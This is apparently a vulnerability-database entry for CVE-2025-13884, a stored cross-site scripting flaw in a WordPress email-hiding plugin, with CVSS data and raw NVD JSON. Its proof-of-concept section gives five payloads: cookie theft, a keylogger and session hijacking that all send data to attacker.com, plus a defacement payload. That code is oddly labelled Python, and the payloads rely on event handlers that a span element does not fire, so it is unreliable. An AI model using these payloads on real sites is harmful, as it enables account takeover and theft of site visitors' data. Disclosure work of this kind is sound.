Security Vulnerability Report
中文
CVE-2025-13884 CVSS 6.4 MEDIUM

CVE-2025-13884

Published: 2025-12-12 04:15:43
Last Modified: 2026-04-15 00:35:42

Description

The Hide Email Address plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'inline_css' parameter in the `bg-hide-email-address` shortcode in all versions up to, and including, 0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Hide Email Address插件 <= 0.1(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13884 PoC - WordPress Hide Email Address Plugin Stored XSS --> <!-- Author: Security Researcher --> <!-- Target: WordPress with Hide Email Address plugin <= 0.1 --> <!-- PoC 1: Basic XSS via inline_css parameter --> [bg-hide-email-address inline_css=" onload=alert(document.cookie) x="] <!-- PoC 2: Stealing admin cookies - requires victim to visit the page --> [bg-hide-email-address inline_css=" onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\" x="] <!-- PoC 3: Keylogger payload - captures keystrokes --> [bg-hide-email-address inline_css=" onload=\"document.onkeypress=function(e){fetch('https://attacker.com/log?k='+btoa(e.key))}\" x="] <!-- PoC 4: Session hijacking via cookie theft --> [bg-hide-email-address inline_css=" onload=\"fetch('https://attacker.com/api/collect',{method:'POST',body:JSON.stringify({cookie:document.cookie,url:location.href}),headers:{'Content-Type':'application/json'}})\" x="] <!-- PoC 5: Defacement or redirect --> [bg-hide-email-address inline_css=" onload=\"document.body.innerHTML='<h1>Site Compromised</h1><script>malicious_code</script>'\" x="] <!-- HTML Output Analysis: --> <!-- Vulnerable output format: --> <!-- <span style="[USER_INPUT_HERE]">[email protected]</span> --> <!-- Without sanitization, attacker can break out of style attribute: --> <!-- <span style=" onload=alert(1) x="">[email protected]</span> --> <!-- This creates an XSS vector that executes when page loads -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13884", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:43.133", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Hide Email Address plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'inline_css' parameter in the `bg-hide-email-address` shortcode in all versions up to, and including, 0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/bg-hide-email-address/tags/0.1/BgHideEmailAddress.php#L101", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bg-hide-email-address/trunk/BgHideEmailAddress.php#L101", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a770ab37-127a-4018-9ffa-1b326d5a016e?source=cve", "source": "[email protected]"}]}}